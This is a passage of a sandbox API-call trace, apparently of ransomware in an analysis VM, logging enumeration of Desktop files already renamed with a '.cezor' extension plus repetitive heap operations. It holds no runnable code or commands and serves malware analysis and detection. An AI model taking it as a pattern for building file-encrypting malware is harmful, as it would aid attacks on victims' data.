HALPmcxz\\Desktop\\nborqaG7LbY-8nT0ByEv.pps.cezor") returned=".cezor" [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f21398 | out: hHeap=0x5b0000) returned 1 [0122.655] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4191bce0, ftCreationTime.dwHighDateTime=0x1d4c94a, ftLastAccessTime.dwLowDateTime=0xfad1f900, ftLastAccessTime.dwHighDateTime=0x1d4cd8b, ftLastWriteTime.dwLowDateTime=0x141c9a70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16429, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nXxNQgqy6gVdEPQ.bmp.cezor", cAlternateFileName="NXXNQG~1.CEZ")) returned 1 [0122.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.655] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nXxNQgqy6gVdEPQ.bmp.cezor") returned=".cezor" [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.655] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a443d0, ftCreationTime.dwHighDateTime=0x1d4c673, ftLastAccessTime.dwLowDateTime=0xb880f290, ftLastAccessTime.dwHighDateTime=0x1d4d21d, ftLastWriteTime.dwLowDateTime=0x141c9a70, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x9769, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OjEEOfskM8q.m4a.cezor", cAlternateFileName="OJEEOF~1.CEZ")) returned 1 [0122.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.655] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OjEEOfskM8q.m4a.cezor") returned=".cezor" [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.655] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7804b600, ftCreationTime.dwHighDateTime=0x1d4cb94, ftLastAccessTime.dwLowDateTime=0x509aa070, ftLastAccessTime.dwHighDateTime=0x1d4d49a, ftLastWriteTime.dwLowDateTime=0x141efbd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x6f2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pdn3smOfWiyL_KFEcP0.mp4.cezor", cAlternateFileName="PDN3SM~1.CEZ")) returned 1 [0122.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.655] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Pdn3smOfWiyL_KFEcP0.mp4.cezor") returned=".cezor" [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f21398 | out: hHeap=0x5b0000) returned 1 [0122.655] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c742b0, ftCreationTime.dwHighDateTime=0x1d4ce6c, ftLastAccessTime.dwLowDateTime=0x6d20dac0, ftLastAccessTime.dwHighDateTime=0x1d4c739, ftLastWriteTime.dwLowDateTime=0x14215d30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x13431, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PoDqxcM TSaz.swf.cezor", cAlternateFileName="PODQXC~1.CEZ")) returned 1 [0122.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.655] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PoDqxcM TSaz.swf.cezor") returned=".cezor" [0122.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.656] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32e9dd40, ftCreationTime.dwHighDateTime=0x1d4d470, ftLastAccessTime.dwLowDateTime=0x14960090, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x14960090, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qz91k6FGRf5u2kNaQ", cAlternateFileName="QZ91K6~1")) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x3006f50 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x2f65190 [0122.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3006f50 | out: hHeap=0x5b0000) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f280 [0122.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f65190 | out: hHeap=0x5b0000) returned 1 [0122.656] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375e1650, ftCreationTime.dwHighDateTime=0x1d4d049, ftLastAccessTime.dwLowDateTime=0xb7861d60, ftLastAccessTime.dwHighDateTime=0x1d4cd73, ftLastWriteTime.dwLowDateTime=0x14215d30, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x41cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TeVS.mp4.cezor", cAlternateFileName="TEVSMP~1.CEZ")) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.656] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TeVS.mp4.cezor") returned=".cezor" [0122.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d370 | out: hHeap=0x5b0000) returned 1 [0122.656] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae857a60, ftCreationTime.dwHighDateTime=0x1d4d1c6, ftLastAccessTime.dwLowDateTime=0x4fec2c00, ftLastAccessTime.dwHighDateTime=0x1d4d51e, ftLastWriteTime.dwLowDateTime=0x1423be90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x14803, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TyHbSH6VrF3xX.mp3.cezor", cAlternateFileName="TYHBSH~1.CEZ")) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.656] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TyHbSH6VrF3xX.mp3.cezor") returned=".cezor" [0122.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.656] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bfeb70, ftCreationTime.dwHighDateTime=0x1d4d44e, ftLastAccessTime.dwLowDateTime=0x27145f90, ftLastAccessTime.dwHighDateTime=0x1d4c881, ftLastWriteTime.dwLowDateTime=0x1423be90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x16d33, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uVeSXOWXfi_KaHM6.swf.cezor", cAlternateFileName="UVESXO~1.CEZ")) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x2f21398 [0122.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.656] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uVeSXOWXfi_KaHM6.swf.cezor") returned=".cezor" [0122.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f21398 | out: hHeap=0x5b0000) returned 1 [0122.656] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dba0bd0, ftCreationTime.dwHighDateTime=0x1d4c661, ftLastAccessTime.dwLowDateTime=0x7ca3f460, ftLastAccessTime.dwHighDateTime=0x1d4c8e6, ftLastWriteTime.dwLowDateTime=0x14261ff0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x5b73, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uVgxMcsEjpWpZrN.jpg.cezor", cAlternateFileName="UVGXMC~1.CEZ")) returned 1 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.657] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uVgxMcsEjpWpZrN.jpg.cezor") returned=".cezor" [0122.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.657] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1ff46a0, ftCreationTime.dwHighDateTime=0x1d4ccb6, ftLastAccessTime.dwLowDateTime=0xbd4de5f0, ftLastAccessTime.dwHighDateTime=0x1d4c5d2, ftLastWriteTime.dwLowDateTime=0x14261ff0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x13fec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wjaMa6Mk-99x.gif.cezor", cAlternateFileName="WJAMA6~1.CEZ")) returned 1 [0122.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.657] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wjaMa6Mk-99x.gif.cezor") returned=".cezor" [0122.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.657] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15bee050, ftCreationTime.dwHighDateTime=0x1d4c81b, ftLastAccessTime.dwLowDateTime=0x66a414c0, ftLastAccessTime.dwHighDateTime=0x1d4d074, ftLastWriteTime.dwLowDateTime=0x14288150, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0xd768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xe1YhHNVlwT k.wav.cezor", cAlternateFileName="XE1YHH~1.CEZ")) returned 1 [0122.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x68f060 [0122.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.657] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xe1YhHNVlwT k.wav.cezor") returned=".cezor" [0122.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68f060 | out: hHeap=0x5b0000) returned 1 [0122.657] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1868d30, ftCreationTime.dwHighDateTime=0x1d4c53b, ftLastAccessTime.dwLowDateTime=0x4431ac60, ftLastAccessTime.dwHighDateTime=0x1d4c6ea, ftLastWriteTime.dwLowDateTime=0x14288150, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x9948, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Xk2XWRW.flv.cezor", cAlternateFileName="XK2XWR~1.CEZ")) returned 1 [0122.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.657] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Xk2XWRW.flv.cezor") returned=".cezor" [0122.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d370 | out: hHeap=0x5b0000) returned 1 [0122.657] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20ed2a30, ftCreationTime.dwHighDateTime=0x1d4c664, ftLastAccessTime.dwLowDateTime=0x7985b590, ftLastAccessTime.dwHighDateTime=0x1d4c592, ftLastWriteTime.dwLowDateTime=0x142ae2b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x7240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_34_nkr.wav.cezor", cAlternateFileName="_34_NK~1.CEZ")) returned 1 [0122.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x2fcdf78 [0122.657] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x76) returned 0x69d370 [0122.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcdf78 | out: hHeap=0x5b0000) returned 1 [0122.657] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_34_nkr.wav.cezor") returned=".cezor" [0122.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69d370 | out: hHeap=0x5b0000) returned 1 [0122.657] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20ed2a30, ftCreationTime.dwHighDateTime=0x1d4c664, ftLastAccessTime.dwLowDateTime=0x7985b590, ftLastAccessTime.dwHighDateTime=0x1d4c592, ftLastWriteTime.dwLowDateTime=0x142ae2b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x7240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_34_nkr.wav.cezor", cAlternateFileName="_34_NK~1.CEZ")) returned 0 [0122.657] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fce290 | out: hHeap=0x5b0000) returned 1 [0122.658] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53708 [0122.658] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2f53500 | out: hHeap=0x5b0000) returned 1 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x2f53500 [0122.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.660] HeapFree (in: hHeap=0x5b0000, 